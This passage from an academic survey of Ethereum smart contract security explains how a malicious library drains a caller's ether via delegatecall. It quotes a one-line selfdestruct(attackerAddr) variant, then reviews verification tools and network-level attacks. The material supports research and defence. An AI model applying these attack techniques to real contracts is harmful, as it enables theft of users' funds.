Note that MaliciousSet performs a send at line 4, to transfer ether to the adversary. Since Bob has declared the interface Set as a library, any direct call to version is implemented as a delegatecall, and thus executed in Bob’s environment. Hence, this.balance in the send at line 4 actually refers to Bob’s balance, causing the send to transfer all his ether to the adversary. An even nastier version of MaliciousSet could use selfdestruct(attackerAddr); to disable Bob’s contract forever and send all its balance to the attacker address.

The attack outlined above exploits the “unpredictable state” vulnerability, since Bob cannot know which version of the library will be run when his transaction will be executed.

5 Discussion

We have presented an analysis of the security of Ethereum smart contracts. Our analysis is based both on the growing academic literature on the topic, on the participation to Internet blogs and discussion forums about Ethereum, and on our practical experience on programming smart contracts. To the best of our knowledge, our analysis encompasses all the major vulnerabilities and attacks reported so far. Our taxonomy extends to the domain of smart contracts other classifications of security vulnerabilities of software [18, 19, 33, 41]. We expect that our taxonomy will evolve as new vulnerabilities and attacks are found.

It is foreseeable that the interplay between huge investments on security-sensitive blockchain applications and the poor security of their current implementations will foster the research on these topics. The attacks discussed in this paper highlight that a common cause of insecurity of smart contracts is the difficulty of detecting mismatches between their intended behaviour and the actual one. Although analysis and verification tools (like e.g. the ones discusses below) may help in this direction, the choice of using a Turing-complete language limits the possibility of verification. We expect that non-Turing complete, human-readable languages could overcome this issue, at least in some specific application domains. The recent proliferation of experimental languages [22, 24, 27, 29, 42] suggests that this is an emerging research direction.

Verification of smart contracts. Some recent works propose tools to detect vulnerabilities through static analisys of the contract code.

The tool Oyente [34] extracts the control flow graph from the EVM bytecode of a contract, and symbolically executes it in order to detect some vulnerability patterns. In particular, the tool consider the patterns leading to vulnerabilities of kind “exception disorder” (e.g., not checking the return code of call, send and delegatecall), “time constraints” (e.g., using block timestamps in conditional expressions), “unpredictable state”, and “reentrancy”.

The tool presented in [17] translates smart contracts, either Solidity or EVM bytecode, into the functional language \(\mathsf {F}^*\) [44]. Various properties are then verified on the resulting \(\mathsf {F}^*\) code. In particular, code obtained from Solidity contracts is checked against “exception disorder” and “reentrancy” vulnerabilities, by looking for specific patterns. Code obtained from EVM supports low-level analyses, like e.g. computing bounds on the gas consumption of contract functions. Furthermore, given a Solidity program and an alleged compilation of it into EVM bytecode, the tool verifies that the two pieces of code have equivalent behaviours. Both tools have been experimented on the contracts published in blockchain of Ethereum. The results of this large-scale analysis show that security vulnerabilities are widespread. For instance, [34] reports that \(\sim 28 \%\) of the analyzed contracts potentially contain “exception disorder” vulnerabilities.

The work [32] uses the Isabelle/HOL proof assistant [38] to verify a specific contract. More precisely, the target of the analysis is the EVM bytecode obtained by compiling the Solidity code of “Deed”, a contract which is part of the Ethereum Name Service. The theorem proved through Isabelle/HOL states that, upon an invocation of the contract, only its owner can decrease the balance.

Low-level attacks. Besides the attacks involving contracts, also the Ethereum network has been targeted by adversaries. Their attacks exploit vulnerabilities at EVM specification level, combined with security flaws in the Ethereum client.

For instance, a recent denial-of-service attack exploits an EVM instruction whose cost in units of gas was too low, compared to the computational effort required for its execution [4]. The attacker floods the network with that instruction, causing a substantial decrease of its computational power, and a slowdown to the blockchain synchronization process. Similarly to the recovery from the DAO attack, also this problem has been addressed by forking the blockchain [1, 7].

Vulnerabilities in client implementations can also be the cause of attacks. A recent technical report [48] analyses the Ethereum official client. By exploiting the block propagation algorithm, they discovered that the Ethereum network can be partitioned in small groups of nodes: in this way, nodes can be forced to accept sequences of blocks created ad-hoc by the attacker.